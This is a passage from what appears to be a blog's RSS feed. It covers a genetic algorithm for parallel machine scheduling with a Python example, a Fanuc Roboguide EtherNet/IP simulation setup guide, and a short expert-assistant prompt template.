&lt;p&gt;Genetic algorithms are versatile and can be applied to various problems, including optimization, machine learning, scheduling, and engineering design. They are particularly useful for problems where the solution space is large, complex, and not easily navigable by traditional methods.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="1235px" data-flex-grow="514" height="114" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/genetic-algorithm-structure.png" width="587"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Genetic algorithm data structure&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="309px" data-flex-grow="129" height="247" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/genetic-algorithm-process.png" width="319"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Genetic algorithm process&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;To find better solutions, the process is:&lt;br&gt;
1- Evaluation: Sort the population based on chromosomes scores (fitness).&lt;br&gt;
2- Selection: Choose the best chromosomes to generate the next population (natural selection).&lt;br&gt;
3- Crossover: Mate the chromosomes between them by mixing their genome.&lt;br&gt;
4- Mutation: As in a natural environment, some genes are changed arbitrarily.&lt;/p&gt;
&lt;h3 id="example"&gt;Example
&lt;/h3&gt;&lt;p&gt;The goal is to give a practical idea of the genetic algorithm operations. We’ll consider a problem with 2 machines (m=2) and 4 jobs (n=4).&lt;/p&gt;
&lt;h4 id="processing-times"&gt;Processing times
&lt;/h4&gt;&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="1831px" data-flex-grow="763" height="49" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/example-processing-times-table.png" width="374"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example for processing times&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id="population"&gt;Population
&lt;/h4&gt;&lt;p&gt;Let’s generate 4 chromosomes randomly :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="852px" data-flex-grow="355" height="204" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/example-population-chromosomes.png" width="725"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example for population&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id="evaluation"&gt;Evaluation
&lt;/h4&gt;&lt;p&gt;Evaluation of the generated chromosomes :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="1274px" data-flex-grow="530" height="139" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/example-population-chromosomes-evaluation.png" width="738"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example for evaluation&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id="selection"&gt;Selection
&lt;/h4&gt;&lt;p&gt;Select only the bests chromosomes, here we’ll choose to keep 75% of the sorted population :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="423px" data-flex-grow="176" height="102" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/example-population-chromosomes-selection-1.png" width="180"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example for selection&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id="crossover"&gt;Crossover
&lt;/h4&gt;&lt;p&gt;1 – Choose two random chromosomes in the selected ones (the best ones).&lt;br&gt;
2 – Merge these two chromosomes by mixing their genome.&lt;br&gt;
3 – Store the new generated chromosome in the new population.&lt;br&gt;
4 – Repeat the crossover operation until the new population is fully generated.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="465px" data-flex-grow="193" height="297" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/example-population-chromosomes-crossover.png" width="576"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example for crossover&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id="mutation"&gt;Mutation
&lt;/h4&gt;&lt;p&gt;The mutation operation is not systematic. Usually, around 1% of the crossover chromosomes will go through a mutation. During this operation, we will randomly change a gene :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="1300px" data-flex-grow="541" height="108" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/example-population-chromosomes-mutation.png" width="585"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example for mutation&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="code-example"&gt;Code example
&lt;/h2&gt;&lt;p&gt;Here is a &lt;a class="link" href="https://www.python.org/" target="_blank" rel="noopener"
 &gt;Python&lt;/a&gt; implementation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; __author__ = &amp;#39;rfontenay&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; __description__ = &amp;#39;Genetic algorithm to solve a scheduling problem of N jobs on M parallel machines&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; import random
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; import time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# ******************* Parameters ******************* #
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Jobs processing times
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jobsProcessingTime = [543, 545, 854, 766, 599, 657, 556, 568, 242, 371, 5, 569, 9, 614, 464, 557, 460, 970, 772, 886,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;69, 423, 181, 98, 25, 642, 222, 842, 328, 799, 651, 197, 213, 666, 112, 136, 150, 810, 37, 620,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139, 721, 823, 351, 953, 765, 204, 800, 840, 132, 764, 336, 587, 514, 948, 134, 203, 766, 954,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;537, 933, 458, 936, 835, 335, 690, 307, 102, 639, 635, 923, 699, 71, 913, 465, 664, 49, 198, 747,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;931, 124, 41, 214, 246, 954, 676, 811, 295, 977, 100, 316, 453, 903, 50, 120, 320, 517, 441, 874,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;842]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Number of jobs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;n = len(jobsProcessingTime)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Number of machines
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;m = 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Genetic Algorithm : Population size
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GA_POPSIZE = 256
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Genetic Algorithm : Elite rate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GA_ELITRATE = 0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Genetic Algorithm : Mutation rate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GA_MUTATIONRATE = 0.25
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Genetic Algorithm : Iterations number
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GA_ITERATIONS = 1000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# ******************* Functions ******************* #
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def random_chromosome():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description :Generate a chromosome with a random genome (for each job, assign a random machine).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Input : -Line 2 of comment...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Output : Random chromosome.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Jobs assignment : Boolean matrix with 1 line by job, 1 column by machine
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_chromosome = [[0 for i in range(m)] for j in range(n)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# For each job, assign a random machine
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in range(n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_chromosome[i][random.randint(0, m - 1)] = 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;return new_chromosome
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def fitness(chromosome):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description : Calculate the score of the specified chromosome.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The score is the longest processing time among all the machines processing times.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Input : A chromosome.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Output : The score/fitness.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;max_processing_time = -1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in range(m):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;machine_processing_time = 0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for j in range(n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;machine_processing_time += chromosome[j][i] * jobsProcessingTime[j]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Save the maximum processing time found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;if machine_processing_time &amp;gt; max_processing_time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;max_processing_time = machine_processing_time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;return max_processing_time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def crossover(chromosome1, chromosome2):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description : Crossover two chromosomes by alternative genes picking.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Input : Two chromosome.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Output : One chromosome.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_chromosome = [[0 for i in range(m)] for j in range(n)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in range(n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Alternate the pickup between the two selected solutions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;if not i % 2:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_chromosome[i] = chromosome1[i]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;else:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_chromosome[i] = chromosome2[i]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;return new_chromosome
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def evolve(population):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description : Create a new population based on the previous population.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The new population is generated by mixing the best chromosomes of the previous population.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Input : Old population.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Output : New population.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_population = [[] for i in range(GA_POPSIZE)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# First : Keep elites untouched
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;elites_size = int(GA_POPSIZE * GA_ELITRATE)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in xrange(elites_size): # Elitism
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_population[i] = population[i]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Then generate the new population
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in range(elites_size, GA_POPSIZE):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Generate new chromosome by crossing over two from the previous population
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_population[i] = crossover(population[random.randint(0, GA_POPSIZE / 2)],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;population[random.randint(0, GA_POPSIZE / 2)])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Mutate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;if random.random() &amp;lt; GA_MUTATIONRATE:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;random_job = random.randint(0, n - 1)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Reset assignment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_population[i][random_job] = [0 for j in range(m)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Random re-assignment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;new_population[i][random_job][random.randint(0, m - 1)] = 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;return new_population
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# ******************* Program ******************* #
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Measure execution time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;start = time.time()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Generate an initial random population
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;population = [[] for i in range(GA_POPSIZE)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in range(GA_POPSIZE):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;population[i] = random_chromosome()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Sort the population based on the fitness of chromosomes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;population = sorted(population, key=lambda c: fitness(c))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Print initial best makespan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print “Starting makespan = %03d” % (fitness(population[0]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#Iterate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;for i in range(GA_ITERATIONS):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Sort the population : order by chromosone’s scores.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;population = sorted(population, key=lambda c: fitness(c))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#Generate the following generation (new population)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;population = evolve(population)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Print the best fitness and the execution time after iterations
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print &amp;#34;Ending makespan = %03d&amp;#34; % (fitness(population[0]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print &amp;#34;Execution time = %02d s&amp;#34; % (time.time() - start)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;re done with Unrelated parallel machine scheduling optimization with a genetic algorithm&lt;/p&gt;</description></item><item><title>EtherNet/IP simulation on Fanuc Roboguide</title><link>https://www.rfontenay.fr/posts/ethernet-ip-simulation-on-fanuc-roboguide/</link><pubDate>Thu, 11 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/ethernet-ip-simulation-on-fanuc-roboguide/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/ethernet-ip-simulation-on-fanuc-roboguide/fanuc-ethernetip-roboguide-simulation.png" alt="Featured image of post EtherNet/IP simulation on Fanuc Roboguide" /&gt;&lt;p&gt;In order to be able to do EtherNet/IP simulation on &lt;a class="link" href="https://www.fanuc.eu/be/fr/robots/accessoires/roboguide" target="_blank" rel="noopener"
 &gt;Fanuc Roboguide&lt;/a&gt;, we&amp;rsquo;ll go through a few configuration steps.&lt;/p&gt;
&lt;h2 id="ethernetip-introduction"&gt;EtherNet/IP Introduction
&lt;/h2&gt;&lt;p&gt;Ethernet/IP (Ethernet Industrial Protocol) is an industrial communication protocol used in automation systems to connect devices such as programmable logic controllers (PLCs), sensors, actuators, and other industrial equipment. It is based on standard Ethernet and uses the TCP/IP and UDP/IP protocols for communication. It is a widely adopted protocol in industries like manufacturing, automotive, and energy.&lt;/p&gt;
&lt;p&gt;Here are key details about Ethernet/IP:&lt;/p&gt;
&lt;h3 id="protocol-overview"&gt;&lt;strong&gt;Protocol Overview&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Standard&lt;/strong&gt;: Ethernet/IP is defined by the ODVA (Open DeviceNet Vendors Association) and is built on the IEEE 802.3 Ethernet standard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Application Layer&lt;/strong&gt;: It uses the Common Industrial Protocol (CIP) for communication. CIP is the application layer that provides services for devices in industrial automation systems, such as devices connected to ControlNet, DeviceNet, and EtherNet/IP.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Communication Media&lt;/strong&gt;: Ethernet (100Base-TX, 1000Base-T, etc.), using standard Ethernet cables and hardware.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="key-communication-types"&gt;&lt;strong&gt;Key Communication Types&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Explicit Messaging&lt;/strong&gt;: Uses TCP/IP to send messages between devices for configuration, diagnostics, and data exchange.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Implicit Messaging (I/O Messaging)&lt;/strong&gt;: Uses UDP/IP for real-time data exchange (e.g., control signals, process data) between devices. This is typically used for high-performance applications where low latency is crucial.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ethernetip-architecture"&gt;&lt;strong&gt;Ethernet/IP Architecture&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Devices&lt;/strong&gt;: Ethernet/IP networks consist of various devices like PLCs, I/O modules, HMIs, drives, and sensors. These devices communicate with each other through Ethernet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;I/O Devices&lt;/strong&gt;: The most common devices in Ethernet/IP networks are I/O devices (e.g., sensors and actuators) that use implicit messaging to exchange process data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Controller-to-Device Communication&lt;/strong&gt;: The PLC or controller exchanges data with the field devices via explicit or implicit messaging, depending on the requirements of the application.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="robot-creation-in-roboguide"&gt;Robot creation in Roboguide
&lt;/h2&gt;&lt;p&gt;While doing the robot creation process, install the following options :&lt;br&gt;
- R784 - Ethernet/IP Adapter&lt;br&gt;
- R785 - Ethernet/IP Scanner&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="317px" data-flex-grow="132" height="575" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/ethernet-ip-simulation-on-fanuc-roboguide/fanuc-roboguide-software-options-ethernetip-simulation.png" width="761"&gt;&lt;/p&gt;
&lt;h2 id="network-configuration"&gt;Network configuration
&lt;/h2&gt;&lt;p&gt;Configure the network as shown below.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="297px" data-flex-grow="124" height="543" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/ethernet-ip-simulation-on-fanuc-roboguide/fanuc-roboguide-network-configuration-ethernetip-simulation.png" width="674"&gt;&lt;/p&gt;
&lt;h2 id="enable-specific-variable-for-ethernetip-simulation-in-roboguide"&gt;Enable specific variable for Ethernet/IP simulation in Roboguide
&lt;/h2&gt;&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="200px" data-flex-grow="83" height="819" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/ethernet-ip-simulation-on-fanuc-roboguide/fanuc-roboguide-variable-ethernetip-simulation.png" width="685"&gt;&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;re done with EtherNet/IP simulation on Fanuc Roboguide !&lt;/p&gt;</description></item><item><title/><link>https://www.rfontenay.fr/posts/gemini-scribe/prompts/example-expert/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/gemini-scribe/prompts/example-expert/</guid><description>&lt;p&gt;You are a subject matter expert with comprehensive knowledge across multiple domains. When answering questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Provide accurate, well-researched information&lt;/li&gt;
&lt;li&gt;Cite relevant sources when possible&lt;/li&gt;
&lt;li&gt;Explain complex concepts clearly&lt;/li&gt;
&lt;li&gt;Acknowledge limitations in your knowledge&lt;/li&gt;
&lt;li&gt;Offer multiple perspectives when appropriate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Focus on being helpful while maintaining intellectual honesty.&lt;/p&gt;</description></item></channel></rss>